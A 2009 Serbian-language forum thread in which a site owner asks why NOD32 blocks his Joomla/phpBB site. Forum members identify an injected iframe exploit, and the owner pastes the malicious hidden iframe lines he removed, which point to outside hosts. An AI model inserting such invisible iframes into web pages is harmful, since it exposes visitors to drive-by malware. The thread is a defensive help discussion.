MyCity » Zaštita od zlonamernih programa -> Zaštitni programi » Nod32 blokira sajt

Nod32 blokira sajt

Napisano na dan: 20.4.2009

Nod32 blokira sajt
Sledeća strana Pagination

Idi na vrh

Poslao: 20 Apr 2009 00:10
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac


da li je ovo do mene ili stvarno na hostu imam ubacen virus?



Registruj se da bi učestvovao u diskusiji. Registrovanim korisnicima se NE prikazuju reklame unutar poruka.
Poslao: 20 Apr 2009 00:16
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Napisano: 20 Apr 2009 0:13

Proveri kod - i na coolinarici se od juce desava to (moja mama visi tamo) i ima neki iframe koji vuce na neki kineski sajt, koji protura neki pdf dokument koji je zatazen...

Dopuna: 20 Apr 2009 0:16

Da evo sad sam pogledao i kod tebe - potpuno isti sajt je u pitanju - isti iframe exploit...



Poslao: 20 Apr 2009 20:46
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac

Napisano: 20 Apr 2009 0:26

hmmmm...sajt mi je radjen u joomli, a forum mi je phpbb, tako da ne znam sta da gledam :S

i to se desilo pre jedno 20 minuta kada pocelo da mi blokira sajt kao i forum...da li postoji jos neko resenje?

Dopuna: 20 Apr 2009 20:46

sredio sam problem. u svim fajlovima od sajta kao i foruma gde se pominje index.php i index.html je ubacio ove frejmove:

echo "<iframe src=\"http://sefauro.net/?click=6B1813\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
<iframe src="http://hotslotpot.cn/in.cgi?income67" width=1 height=1 style="visibility: hidden"></iframe>
echo "<iframe src=\"http://sefauro.net/?click=1B47575\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
sinoc i danas su sve svi zalili na ove napade i tako da obevezno radite backup.

Poslao: 21 Apr 2009 00:01
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Verovatno koriste neki propust u samoj joomli, pa injektuju kod. Cim izadje nova verzija, updateuj...

Poslao: 21 Apr 2009 00:40
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac

opet su mi ubacili ove frejmove na sajtu :S
nije proslo ni 3-4 sata kako sam dogao sve iz pocetka :S

Poslao: 21 Apr 2009 01:35
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Pa kazem ti da koriste propust u softveru joomle. Mozes ti da brises koliko hoces, oni idu redom i vracaju, dok se ne "zaleci" taj propust... E sad, jedino ako imas neki nezavisni plugin, mozda se provlaci kroz njega...

Poslao: 21 Apr 2009 12:10
Idi na vrh
offline
  • m4rk0  Male
  • Administrator
  • Administrator tech foruma
  • Marko Vasić
  • Gladijator - Maximus Decimus Meridius
  • Pridružio: 14 Jan 2005
  • Poruke: 15766
  • Gde živiš: Majur (Colosseum)

Salji mail joomla timu.

MyCity » Zaštita od zlonamernih programa -> Zaštitni programi » Nod32 blokira sajt

Ko je trenutno na forumu
 

Ukupno su 757 korisnika na forumu :: 72 registrovanih, 10 sakrivenih i 675 gosta   ::   [ Administrator ] [ Supermoderator ] [ Moderator ] :: Detaljnije

Najviše korisnika na forumu ikad bilo je 20624 - dana 04 Apr 2026 04:18

Korisnici koji su trenutno na forumu:
Korisnici trenutno na forumu: Aleksa 3215, Aristotle2002, bojan_t, bokicacar, bokisha253, Boris BM, boromir, Bosnjo, Citalac, Clouseau, colji, darkojovxp, davorb, debeli, desmeki, Djokislav, Dolinc, dule10savic, dusanobr, Dzambas, Flanker-G, FOX, GeoM, Georgius, Giskard, gregorxix, GveX, Igritelj, In_hero, Ir, istokzapad, Jonbonjovi, KizJ, kljift, Krusarac, kybonacci, louderik, M74AB3, Mackomen, MagicniHerpes, Medojed, mercedesamg, Miler88, Milometer, mkukoleca, Mrav Obrad, nemkea71, NoOneEver Dreams, operniki, rovac, royst33, samsung, sevenino, skok, Smajser, Smiljkovich, Srle993, Tanjagre, Topaz9, Trpe Grozni, tubular, vaci, Vanderx, varda, vathra, vazduh, vladulns, Vlajman1957, vuksa72, WELJKO, YugoSlav, ZetaMan